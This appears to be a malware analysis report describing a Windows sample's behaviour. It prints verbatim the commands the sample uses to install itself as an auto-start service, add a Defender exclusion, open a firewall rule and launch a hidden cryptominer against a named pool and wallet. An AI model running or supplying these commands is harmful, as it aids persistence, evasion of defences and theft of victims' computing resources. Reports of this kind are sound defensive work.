Technical Information
To ensure autorun and distribution
Sets the following service settings
- [<HKLM>\System\CurrentControlSet\Services\juujxtui] 'Start' = '00000002'
- [<HKLM>\System\CurrentControlSet\Services\juujxtui] 'ImagePath' = '%WINDIR%\SysWOW64\juujxtui\sjfmdcgk.exe /d"<Full path to file>"'
- [<HKLM>\SYSTEM\CurrentControlSet\services\juujxtui] 'ImagePath' = '%WINDIR%\SysWOW64\juujxtui\sjfmdcgk.exe'
Creates the following services
- 'juujxtui' %WINDIR%\SysWOW64\juujxtui\sjfmdcgk.exe /d"<Full path to file>"
- 'juujxtui' %WINDIR%\SysWOW64\juujxtui\sjfmdcgk.exe
Malicious functions
To complicate detection of its presence in the operating system,
adds antivirus exclusion with following registry keys:
- [<HKLM>\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths] '%WINDIR%\SysWOW64\juujxtui' = '00000000'
Executes the following
- '%WINDIR%\syswow64\netsh.exe' advfirewall firewall add rule name="Host-process for services of Windows" dir=in action=allow program="%WINDIR%\SysWOW64\svchost.exe" enable=yes>nul
Injects code into
the following system processes:
- %WINDIR%\syswow64\svchost.exe
Modifies file system
Creates the following files
- %TEMP%\sjfmdcgk.exe
- %WINDIR%\syswow64\config\systemprofile:.repos
Moves the following files
- from %TEMP%\sjfmdcgk.exe to %WINDIR%\syswow64\juujxtui\sjfmdcgk.exe
Deletes itself.
Network activity
TCP
HTTP GET requests
- http://www.google.com/
UDP
- DNS ASK mi##########m.mail.protection.outlook.com
- DNS ASK mb##.net
- DNS ASK ms#.#inet.net
- DNS ASK mx#.##rthlink.net
- DNS ASK us##.net
- DNS ASK su###########-net.mail.protection.outlook.com
- DNS ASK su####windows.net
- DNS ASK dp#####w30.doteasy.com
- DNS ASK ma#####eettheater.com
- DNS ASK ma#####.hiworks.co.kr
- DNS ASK d-##x.co.kr
- DNS ASK di#####proserver.com
- DNS ASK ma##.xertec.de
- DNS ASK xe##ec.de
- DNS ASK ms##.hinet.net
- DNS ASK ca###one.net
- DNS ASK mx.##ission.com
- DNS ASK gr#.net
- DNS ASK da###ail.net
- DNS ASK mx######b2d01.pphosted.com
- DNS ASK ca.#bm.com
- DNS ASK gmail-smtp-in.l.google.com
- DNS ASK gm##l.com
- DNS ASK cu#######1.in.mailcontrol.com
- DNS ASK xe###tdg.com
- DNS ASK ma##.#rotonmail.ch
- DNS ASK xe##h.com
- DNS ASK bm###ntafe.com
- DNS ASK ms#####p-mx1.hinet.net
- DNS ASK pa####x.above.com
- DNS ASK google.com
- DNS ASK ma##.ccsf.edu
- DNS ASK mx#######901.gslb.pphosted.com
- DNS ASK pi##eta.fr
- DNS ASK ho##ail.it
- DNS ASK no####oodsice.net
- DNS ASK mx#.#ol.com.br
- DNS ASK bo#.com.br
- DNS ASK al######x-vip2.prodigy.net
- DNS ASK be###outh.net
- DNS ASK mx.##l.com.br
- DNS ASK uo#.com.br
- DNS ASK no####oodschool.com
- DNS ASK as#.##flexion.net
- DNS ASK bf###wyers.com
- DNS ASK mb###.#x.proofpoint.com
- DNS ASK mx#.mail.ru
- DNS ASK in##x.ru
- DNS ASK mx#.#omcast.net
- DNS ASK co##ast.net
- DNS ASK mx####.##il.am0.yahoodns.net
- DNS ASK go###zuoka.com
- DNS ASK mx####.##il.gm0.yahoodns.net
- DNS ASK ao#.com
- DNS ASK mx.#ds.net
- DNS ASK td#.net
- DNS ASK mx#.#ate.com
- DNS ASK na##.com
- DNS ASK li#e.de
- DNS ASK in####arketer.com
- DNS ASK mx.##bleone.net
- DNS ASK mx#.####4-80.c3s2.iphmx.com
- DNS ASK wa##a.co.il
- DNS ASK mx.####.##t.cust.b.hostedemail.com
- DNS ASK kn###edgism.com
- DNS ASK wp#.#ccu.edu
- DNS ASK ma###.#ancoexterior.com
- DNS ASK ba####xterior.com
- DNS ASK alt2.aspmx.l.google.com
- DNS ASK kn#####geworksindia.com
- DNS ASK mx#.###l.yahoo.co.jp
- DNS ASK ya##o.co.jp
- DNS ASK wh####n.upenn.edu
- DNS ASK mx#######e01.gslb.pphosted.com
- DNS ASK ac##.com
- DNS ASK eu#.###.#rotection.outlook.com
- DNS ASK li#e.se
- DNS ASK kn###tlaw.com
- DNS ASK mx##.#ail.citi.com
- DNS ASK mi####.bittubeapp.com
- DNS ASK mt##.##0.yahoodns.net
- DNS ASK ya##o.com
- DNS ASK ho#########.olc.protection.outlook.com
- DNS ASK ho##ail.com
- DNS ASK 19#.###.#11.95.cbl.abuseat.org
- DNS ASK 19#.###.##1.95.sbl-xbl.spamhaus.org
- DNS ASK 19#.###.#11.95.zen.spamhaus.org
- DNS ASK 19#.###.#11.95.bl.spamcop.net
- DNS ASK sm####n.libero.it
- DNS ASK 19#.###.#11.95.dnsbl.sorbs.net
- DNS ASK li##ro.it
- DNS ASK 19#.###.211.95.in-addr.arpa
- DNS ASK ASPMX.L.GOOGLE.com
- DNS ASK it##.com
- DNS ASK 12#.net
- DNS ASK ba####anjuan.com
- DNS ASK mx.#23.net
- DNS ASK is##.net
- DNS ASK sd##sd.net
- DNS ASK xe####partner.com
- DNS ASK mx#######401.gslb.pphosted.com
- DNS ASK ep#.com
- DNS ASK mx#.##n.iphmx.com
- DNS ASK hs#.net
- DNS ASK ba####panama.com
- DNS ASK vi#####brindes.com.br
- DNS ASK mx#######601.gslb.pphosted.com
- DNS ASK uo####.utoledo.edu
- DNS ASK ho##ail.es
- DNS ASK ta###.net.au
- DNS ASK et###.#ail.tiscali.it
- DNS ASK ba##mex.com
- DNS ASK ms##r2.net
- DNS ASK ma##.#ancosta.it
- DNS ASK ba##osta.it
- DNS ASK ex####l.bigpond.com
- DNS ASK bi##ond.com
- DNS ASK mx######5eb03.pphosted.com
- DNS ASK co###ers.com
- DNS ASK mx#.#harter.net
- DNS ASK ch##ter.net
- DNS ASK ke##.edu
- DNS ASK ta###owski.de
- DNS ASK ma##.##ncosanjuan.com
- DNS ASK ti##ali.it
- DNS ASK or##le.com
Miscellaneous
Creates and executes the following
- '%WINDIR%\syswow64\juujxtui\sjfmdcgk.exe' /d"<Full path to file>"
- '%WINDIR%\syswow64\cmd.exe' /C mkdir %WINDIR%\SysWOW64\juujxtui\' (with hidden window)
- '%WINDIR%\syswow64\cmd.exe' /C move /Y "%TEMP%\sjfmdcgk.exe" %WINDIR%\SysWOW64\juujxtui\' (with hidden window)
- '%WINDIR%\syswow64\sc.exe' create juujxtui binPath= "%WINDIR%\SysWOW64\juujxtui\sjfmdcgk.exe /d\"<Full path to file>\"" type= own start= auto DisplayName= "wifi support"' (with hidden window)
- '%WINDIR%\syswow64\sc.exe' description juujxtui "wifi internet conection"' (with hidden window)
- '%WINDIR%\syswow64\sc.exe' start juujxtui' (with hidden window)
- '%WINDIR%\syswow64\netsh.exe' advfirewall firewall add rule name="Host-process for services of Windows" dir=in action=allow program="%WINDIR%\SysWOW64\svchost.exe" enable=yes>nul' (with hidden window)
Executes the following
- '%WINDIR%\syswow64\cmd.exe' /C mkdir %WINDIR%\SysWOW64\juujxtui\
- '%WINDIR%\syswow64\cmd.exe' /C move /Y "%TEMP%\sjfmdcgk.exe" %WINDIR%\SysWOW64\juujxtui\
- '%WINDIR%\syswow64\sc.exe' create juujxtui binPath= "%WINDIR%\SysWOW64\juujxtui\sjfmdcgk.exe /d\"<Full path to file>\"" type= own start= auto DisplayName= "wifi support"
- '%WINDIR%\syswow64\sc.exe' description juujxtui "wifi internet conection"
- '%WINDIR%\syswow64\sc.exe' start juujxtui
- '%WINDIR%\syswow64\svchost.exe'
- '%WINDIR%\syswow64\svchost.exe' --algo=cn-heavy/tube -o mining.bittubeapp.com:13333 -u bs3GJeLpK9P2RqEpCXWpirL9u7wrGwoPmTJTemNtc7QpSTE24ybGdgtBmXSxhkTitLPyRh8sVz7qmM9TYnhXoZ6G1kARcnhMT.60000 -p x -k
